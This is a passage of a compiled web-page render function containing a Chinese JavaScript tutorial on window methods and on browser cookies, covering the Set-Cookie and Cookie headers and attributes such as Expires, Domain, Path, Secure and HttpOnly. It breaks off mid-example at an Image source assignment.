"),s("p",[s("code",[t._v("window.stop()")]),t._v("方法完全等同于单击浏览器的停止按钮，会停止加载图像、视频等正在或等待加载的对象。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("stop")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("h4",{attrs:{id:"_3-3-window-moveto-移动窗口-window-moveby-移动窗口到相对位置"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-3-window-moveto-移动窗口-window-moveby-移动窗口到相对位置"}},[t._v("#")]),t._v(" 3.3 window.moveTo() 移动窗口，window.moveBy() 移动窗口到相对位置")]),t._v(" "),s("p",[s("code",[t._v("window.moveTo()")]),t._v("方法用于"),s("strong",[t._v("移动浏览器窗口到指定位置")]),t._v("。它接受两个参数，分别是窗口左上角距离屏幕左上角的水平距离和垂直距离，单位为像素。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("moveTo")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("100")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br")])]),s("p",[t._v("​")]),t._v(" "),s("h2",{attrs:{id:"四、cookie"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#四、cookie"}},[t._v("#")]),t._v(" 四、Cookie")]),t._v(" "),s("h3",{attrs:{id:"_1、概述-2"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_1、概述-2"}},[t._v("#")]),t._v(" 1、概述")]),t._v(" "),s("p",[t._v("Cookie 是"),s("strong",[t._v("服务器保存在浏览器的一小段文本信息，一般大小不能超过4KB")]),t._v("。"),s("strong",[t._v("浏览器每次向服务器发出请求，就会自动附上这段信息")]),t._v("。")]),t._v(" "),s("p",[t._v("Cookie 主要保存状态信息，以下是一些主要用途。")]),t._v(" "),s("ul",[s("li",[t._v("对话（session）管理：保存登录、购物车等需要记录的信息。")]),t._v(" "),s("li",[t._v("个性化信息：保存用户的偏好，比如网页的字体大小、背景色等等。")]),t._v(" "),s("li",[t._v("追踪用户：记录和分析用户行为。")])]),t._v(" "),s("p",[t._v("Cookie 不是一种理想的客户端储存机制。它的容量很小（4KB），缺乏数据操作接口，而且会影响性能。客户端储存应该使用 Web storage API 和 IndexedDB。"),s("strong",[t._v("只有那些每次请求都需要让服务器知道的信息，才应该放在 Cookie 里面。")])]),t._v(" "),s("p",[t._v("每个 Cookie 都有以下几方面的元数据。")]),t._v(" "),s("ul",[s("li",[t._v("Cookie 的名字")]),t._v(" "),s("li",[t._v("Cookie 的值（真正的数据写在这里面）")]),t._v(" "),s("li",[t._v("到期时间（超过这个时间会失效）")]),t._v(" "),s("li",[t._v("所属域名（默认为当前域名）")]),t._v(" "),s("li",[t._v("生效的路径（默认为当前网址）")])]),t._v(" "),s("p",[t._v("举例来说，用户访问网址"),s("code",[t._v("www.example.com")]),t._v("，服务器在浏览器写入一个 Cookie。这个 Cookie 的所属域名为"),s("code",[t._v("www.example.com")]),t._v("，生效路径为根路径"),s("code",[t._v("/")]),t._v("。如果 Cookie 的生效路径设为"),s("code",[t._v("/forums")]),t._v("，那么这个 Cookie 只有在访问"),s("code",[t._v("www.example.com/forums")]),t._v("及其子路径时才有效。以后，浏览器访问某个路径之前，就会找出对该域名和路径有效，并且还没有到期的 Cookie，一起发送给服务器。")]),t._v(" "),s("p",[t._v("用户可以设置浏览器不接受 Cookie，也可以设置不向服务器发送 Cookie。"),s("code",[t._v("window.navigator.cookieEnabled")]),t._v("属性返回一个布尔值，表示浏览器是否打开 Cookie 功能。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("navigator"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("cookieEnabled "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// true")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[s("code",[t._v("document.cookie")]),t._v("属性返回当前网页的 Cookie。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("document"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("cookie "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('// "id=foo;key=bar"')]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("不同浏览器对 Cookie 数量和大小的限制，是不一样的。一般来说，单个域名设置的 Cookie 不应超过30个，每个 Cookie 的大小不能超过4KB。超过限制以后，Cookie 将被忽略，不会被设置。")]),t._v(" "),s("p",[t._v("浏览器的同源政策规定，两个网址只要域名相同和端口相同，就可以共享 Cookie（参见《同源政策》一章）。注意，这里不要求协议相同。也就是说，"),s("code",[t._v("http://example.com")]),t._v("设置的 Cookie，可以被"),s("code",[t._v("https://example.com")]),t._v("读取。")]),t._v(" "),s("h3",{attrs:{id:"_2、cookie-与-http-协议"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2、cookie-与-http-协议"}},[t._v("#")]),t._v(" 2、Cookie 与 HTTP 协议")]),t._v(" "),s("p",[t._v("Cookie "),s("strong",[t._v("由 HTTP 协议生成，也主要是供 HTTP 协议使用。")])]),t._v(" "),s("h4",{attrs:{id:"_2-1-http-回应-cookie-的生成"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2-1-http-回应-cookie-的生成"}},[t._v("#")]),t._v(" 2.1 HTTP 回应：Cookie 的生成")]),t._v(" "),s("p",[t._v("服务器如果希望在浏览器保存 Cookie，就要在 HTTP 回应的头信息里面，放置一个"),s("code",[t._v("Set-Cookie")]),t._v("字段。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("Set"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v("foo"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("bar\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("上面代码会在浏览器保存一个名为"),s("code",[t._v("foo")]),t._v("的 Cookie，它的值为"),s("code",[t._v("bar")]),t._v("。")]),t._v(" "),s("p",[t._v("HTTP 回应可以包含多个"),s("code",[t._v("Set-Cookie")]),t._v("字段，即在浏览器生成多个 Cookie。下面是一个例子。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("HTTP")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),s("span",{pre:!0,attrs:{class:"token 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operator"}},[t._v("<")]),t._v("cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("name"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(">=")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("<")]),t._v("cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("value"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(">")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" Path"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("<")]),t._v("path"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("value"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(">")]),t._v("\nSet"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("<")]),t._v("cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("name"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(">=")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("<")]),t._v("cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("value"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(">")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" Secure\nSet"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("<")]),t._v("cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("name"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(">=")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("<")]),t._v("cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("value"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(">")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" HttpOnly\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br")])]),s("p",[t._v("上面的几个属性的含义，将在后文解释。")]),t._v(" "),s("p",[t._v("一个"),s("code",[t._v("Set-Cookie")]),t._v("字段里面，可以同时包括多个属性，没有次序的要求。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("Set"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("<")]),t._v("cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("name"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(">=")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("<")]),t._v("cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("value"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(">")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" Domain"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("<")]),t._v("domain"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("value"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(">")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" Secure"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" HttpOnly\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("下面是一个例子。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("Set"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" id"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("a3fWa"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" Expires"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("Wed"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("21")]),t._v(" Oct "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("2015")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("07")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("28")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("00")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("GMT")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" Secure"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" HttpOnly\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("如果服务器想改变一个早先设置的 Cookie，必须同时满足四个条件：Cookie 的"),s("code",[t._v("key")]),t._v("、"),s("code",[t._v("domain")]),t._v("、"),s("code",[t._v("path")]),t._v("和"),s("code",[t._v("secure")]),t._v("都匹配。举例来说，如果原始的 Cookie 是用如下的"),s("code",[t._v("Set-Cookie")]),t._v("设置的。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("Set"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" key1"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("value1"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" domain"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("example"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("com"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" path"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),t._v("blog\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("改变上面这个 Cookie 的值，就必须使用同样的"),s("code",[t._v("Set-Cookie")]),t._v("。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("Set"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" key1"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("value2"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" domain"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("example"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("com"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" path"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),t._v("blog\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("只要有一个属性不同，就会生成一个全新的 Cookie，而不是替换掉原来那个 Cookie。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("Set"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" key1"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("value2"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" domain"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("example"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("com"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" path"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("上面的命令设置了一个全新的同名 Cookie，但是"),s("code",[t._v("path")]),t._v("属性不一样。下一次访问"),s("code",[t._v("example.com/blog")]),t._v("的时候，浏览器将向服务器发送两个同名的 Cookie。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token literal-property property"}},[t._v("Cookie")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" key1"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("value1"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" key1"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("value2\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("上面代码的两个 Cookie 是同名的，匹配越精确的 Cookie 排在越前面。")]),t._v(" "),s("h4",{attrs:{id:"_2-2-http-请求-cookie-的发送"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2-2-http-请求-cookie-的发送"}},[t._v("#")]),t._v(" 2.2 HTTP 请求：Cookie 的发送")]),t._v(" "),s("p",[t._v("浏览器向服务器发送 HTTP 请求时，每个请求都会带上相应的 Cookie。也就是说，把服务器早前保存在浏览器的这段信息，再发回服务器。这时要使用 HTTP 头信息的"),s("code",[t._v("Cookie")]),t._v("字段。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token literal-property property"}},[t._v("Cookie")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" foo"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("bar\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("上面代码会向服务器发送名为"),s("code",[t._v("foo")]),t._v("的 Cookie，值为"),s("code",[t._v("bar")]),t._v("。")]),t._v(" "),s("p",[s("code",[t._v("Cookie")]),t._v("字段可以包含多个 Cookie，使用分号（"),s("code",[t._v(";")]),t._v("）分隔。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token literal-property property"}},[t._v("Cookie")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" name"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("value"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" name2"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("value2"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" name3"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("value3\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("下面是一个例子。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("GET")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),t._v("sample_page"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("html "),s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("HTTP")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("1.1")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token literal-property property"}},[t._v("Host")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" www"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("example"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("org\n"),s("span",{pre:!0,attrs:{class:"token literal-property property"}},[t._v("Cookie")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" yummy_cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("choco"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" tasty_cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("strawberry\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[t._v("服务器收到浏览器发来的 Cookie 时，有两点是无法知道的。")]),t._v(" "),s("ul",[s("li",[t._v("Cookie 的各种属性，比如何时过期。")]),t._v(" "),s("li",[t._v("哪个域名设置的 Cookie，到底是一级域名设的，还是某一个二级域名设的。")])]),t._v(" "),s("h3",{attrs:{id:"_3、cookie-的属性"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3、cookie-的属性"}},[t._v("#")]),t._v(" 3、Cookie 的属性")]),t._v(" "),s("h4",{attrs:{id:"_3-1-expires-有效期-max-age-最大寿命-秒数"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-1-expires-有效期-max-age-最大寿命-秒数"}},[t._v("#")]),t._v(" 3.1 Expires 有效期，Max-Age 最大寿命，秒数")]),t._v(" "),s("p",[s("code",[t._v("Expires")]),t._v("属性指定一个具体的"),s("strong",[t._v("到期时间")]),t._v("，到了指定时间以后，浏览器就不再保留这个 Cookie。它的值是 UTC 格式，可以使用"),s("code",[t._v("Date.prototype.toUTCString()")]),t._v("进行格式转换。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("Set"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Cookie"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" id"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("a3fWa"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" Expires"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("Wed"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("21")]),t._v(" Oct "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("2015")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("07")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("28")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("00")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("GMT")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 设置cookie，键id等于值a3fWa, 并设置到期时间")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("p",[t._v("如果不设置该属性，或者设为"),s("code",[t._v("null")]),t._v("，Cookie 只在当前会话（session）有效，浏览器窗口一旦关闭，当前 Session 结束，该 Cookie 就会被删除。另外，浏览器根据本地时间，决定 Cookie 是否过期，由于本地时间是不精确的，所以没有办法保证 Cookie 一定会在服务器指定的时间过期。")]),t._v(" "),s("p",[s("code",[t._v("Max-Age")]),t._v("属性指定"),s("strong",[t._v("从现在开始 Cookie 存在的秒数")]),t._v("，比如"),s("code",[t._v("60 * 60 * 24 * 365")]),t._v("（即一年）。过了这个时间以后，浏览器就不再保留这个 Cookie。")]),t._v(" "),s("p",[t._v("如果同时指定了"),s("code",[t._v("Expires")]),t._v("和"),s("code",[t._v("Max-Age")]),t._v("，那么"),s("code",[t._v("Max-Age")]),t._v("的值将优先生效。")]),t._v(" "),s("p",[t._v("如果"),s("code",[t._v("Set-Cookie")]),t._v("字段没有指定"),s("code",[t._v("Expires")]),t._v("或"),s("code",[t._v("Max-Age")]),t._v("属性，那么这个 Cookie 就是 Session Cookie，即它只在本次对话存在，一旦用户关闭浏览器，浏览器就不会再保留这个 Cookie。")]),t._v(" "),s("h4",{attrs:{id:"_3-2-domain-域名-path-路径"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-2-domain-域名-path-路径"}},[t._v("#")]),t._v(" 3.2 Domain 域名，Path 路径")]),t._v(" "),s("p",[s("code",[t._v("Domain")]),t._v("属性"),s("strong",[t._v("指定浏览器发出 HTTP 请求时，哪些域名要附带这个 Cookie")]),t._v("。如果没有指定该属性，浏览器会默认将其设为当前域名，这时子域名将不会附带这个 Cookie。比如，"),s("code",[t._v("example.com")]),t._v("不设置 Cookie 的"),s("code",[t._v("domain")]),t._v("属性，那么"),s("code",[t._v("sub.example.com")]),t._v("将不会附带这个 Cookie。"),s("strong",[t._v("如果指定了"),s("code",[t._v("domain")]),t._v("属性，那么子域名也会附带这个 Cookie")]),t._v("。如果服务器指定的域名不属于当前域名，浏览器会拒绝这个 Cookie。")]),t._v(" "),s("p",[s("code",[t._v("Path")]),t._v("属性指定浏览器发出 HTTP 请求时，哪些路径要附带这个 Cookie。只要浏览器发现，"),s("code",[t._v("Path")]),t._v("属性是 HTTP 请求路径的开头一部分，就会在头信息里面带上这个 Cookie。比如，"),s("code",[t._v("PATH")]),t._v("属性是"),s("code",[t._v("/")]),t._v("，那么请求"),s("code",[t._v("/docs")]),t._v("路径也会包含该 Cookie。当然，前提是域名必须一致。")]),t._v(" "),s("h4",{attrs:{id:"_3-3-secure-加密协议https下有效-httponly-只有http请求能拿到"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-3-secure-加密协议https下有效-httponly-只有http请求能拿到"}},[t._v("#")]),t._v(" 3.3 Secure 加密协议https下有效，HttpOnly 只有http请求能拿到")]),t._v(" "),s("p",[s("code",[t._v("Secure")]),t._v("属性指定"),s("strong",[t._v("浏览器只有在加密协议 HTTPS 下，才能将这个 Cookie 发送到服务器")]),t._v("。另一方面，如果当前协议是 HTTP，浏览器会自动忽略服务器发来的"),s("code",[t._v("Secure")]),t._v("属性。该属性只是一个开关，"),s("strong",[t._v("不需要指定值")]),t._v("。如果通信是 HTTPS 协议，该开关自动打开。")]),t._v(" "),s("p",[s("code",[t._v("HttpOnly")]),t._v("属性"),s("strong",[t._v("指定该 Cookie 无法通过 JavaScript 脚本拿到，主要是"),s("code",[t._v("document.cookie")]),t._v("属性、"),s("code",[t._v("XMLHttpRequest")]),t._v("对象和 Request API 都拿不到该属性")]),t._v("。这样就防止了该 Cookie 被脚本读到，只有浏览器发出 HTTP 请求时，才会带上该 Cookie。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("Image")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("src 